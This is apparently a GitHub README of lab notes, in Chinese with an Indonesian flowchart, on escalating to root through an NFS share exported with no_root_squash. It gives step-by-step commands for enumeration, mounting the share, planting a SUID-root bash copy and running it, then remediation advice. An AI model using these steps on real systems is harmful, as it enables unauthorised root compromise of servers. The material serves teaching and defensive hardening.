sepkascurty-cpu/Linux-Privilege-Escalation-NFS-No_Root_Squash-Exploitation
GitHub: sepkascurty-cpu/Linux-Privilege-Escalation-NFS-No_Root_Squash-Exploitation
该仓库提供了一份完整的 NFS no_root_squash 漏洞利用实操指南,涵盖从枚举探测到 SUID 提权的全流程及修复建议。
Stars: 1 | Forks: 0
# Linux 权限提升:NFS No_Root_Squash 漏洞利用
本仓库包含了关于如何利用 NFS (Network File System) 服务配置漏洞将权限提升至 `root` 的实用指南和网络安全实验室笔记。
## 📌 漏洞概述
此类攻击的发生是由于管理员在配置目标服务器的 `/etc/exports` 文件时出现了疏忽。主要结合了两个条件:
1. **开放共享 (`*`)**:文件夹在没有强认证系统的情况下共享给整个网络。
2. **`no_root_squash`**:禁用了安全特性。默认情况下,NFS 会将外部 `root` 用户的权限映射为普通用户 (`nobody`)。但是,如果启用了 `no_root_squash`,服务器将直接信任来自攻击者计算机的 `root` 身份。
## 🧭 攻击流程
```
graph TD
A[Mulai Scan Jaringan] --> B{Port 2049 Terbuka?}
B -- Tidak --> C[Cari Celah Lain]
B -- Ya --> D[Cek Folder Share Lewat showmount]
D --> E{Ada Tanda * dan Status rw?}
E -- Tidak --> C
E -- Ya --> F[Masuk SSH User Biasa]
F --> G[Salin /bin/bash Target ke Folder Share]
G --> H[Di Kali Linux: Jalankan chown root & chmod +s]
H --> I[Di SSH Target: Eksekusi ./mancing_bash -p]
I --> J((SUKSES JADI ROOT!))
```
## 🛠️ 实操步骤
### 第一阶段:枚举
#### 场景 A:从网络外部发起攻击
1. **扫描 NFS 端口 (2049):**
nmap -p 2049
2. **查看公开共享的文件夹列表:**
showmount -e
*寻找星号 (`*`) 标记,这表明该文件夹对任何人开放。*
#### 场景 B:已在目标服务器内部(通过普通用户的 SSH)
1. **确保 NFS 服务正在后台运行:**
ps aux | grep nfs
2. **查看 NFS 服务器的主配置文件:**
cat /etc/exports
*漏洞指标:出现类似 `/var/nfsshare *(rw,no_root_squash)` 的行。*
### 第二阶段:挂载
如果确认存在漏洞,请将目标文件夹挂载到您 Kali Linux 计算机上的一个空文件夹中:
```
# 1. 在本地创建 wadah 文件夹
mkdir /tmp/pintu_nfs
# 2. 将 target 文件夹连接到本地文件夹
mount -t nfs :/nama_folder_target /tmp/pintu_nfs
# 3. 进入该文件夹
cd /tmp/pintu_nfs
```
### 第三阶段:利用执行(Bash 借还技)
1. **在 SSH 终端(目标)中:**
将目标原始的终端程序复制到 NFS 共享文件夹中,以便我们可以从外部访问它:
cp /bin/bash ./mancing_bash
2. **在 Kali Linux 终端(本地)中:**
进入刚才挂载的文件夹。将该文件的所有者更改为 **Root** 并赋予特殊的 **SUID (`+s`)** 权限:
sudo chown root:root mancing_bash
sudo chmod +s mancing_bash
*使用 `ls -l mancing_bash` 进行验证。确保其权限已变为 `-rwsr-xr-x`(包含小写字母 `s`)。*
3. **返回到 SSH 终端(目标)中:**
运行 `mancing_bash` 文件,并加上必填的 `-p` 选项,以确保系统在运行时不会丢弃其 root 权限:
./mancing_bash -p
*输入以下命令检查您的新身份:*
whoami
*最终结果:* `root`
## 🛡️ 漏洞修复建议
为了保护服务器免受此攻击,请编辑目标服务器上的 `/etc/exports` 文件,并将配置更改为更严格的限制:
* **错误的配置:**
/var/nfsshare *(rw,no_root_squash)
* **正确的配置(安全):**
/var/nfsshare 192.168.1.50(rw,root_squash)
* **`192.168.1.50`**:限制仅允许特定 IP 进行连接,而不是所有人 (`*`)。
* **`root_squash`**:确保外部的 `root` 用户在访问共享文件夹时会被降级为普通用户 (`nobody`),从而无法滥用 SUID 特性。
_本实验室笔记仅供学习、合法的渗透测试和系统安全防御目的使用。_
标签:CTI, NFS, Web报告查看器, 内存分配, 协议分析, 应用安全, 权限提升, 网络安全, 隐私保护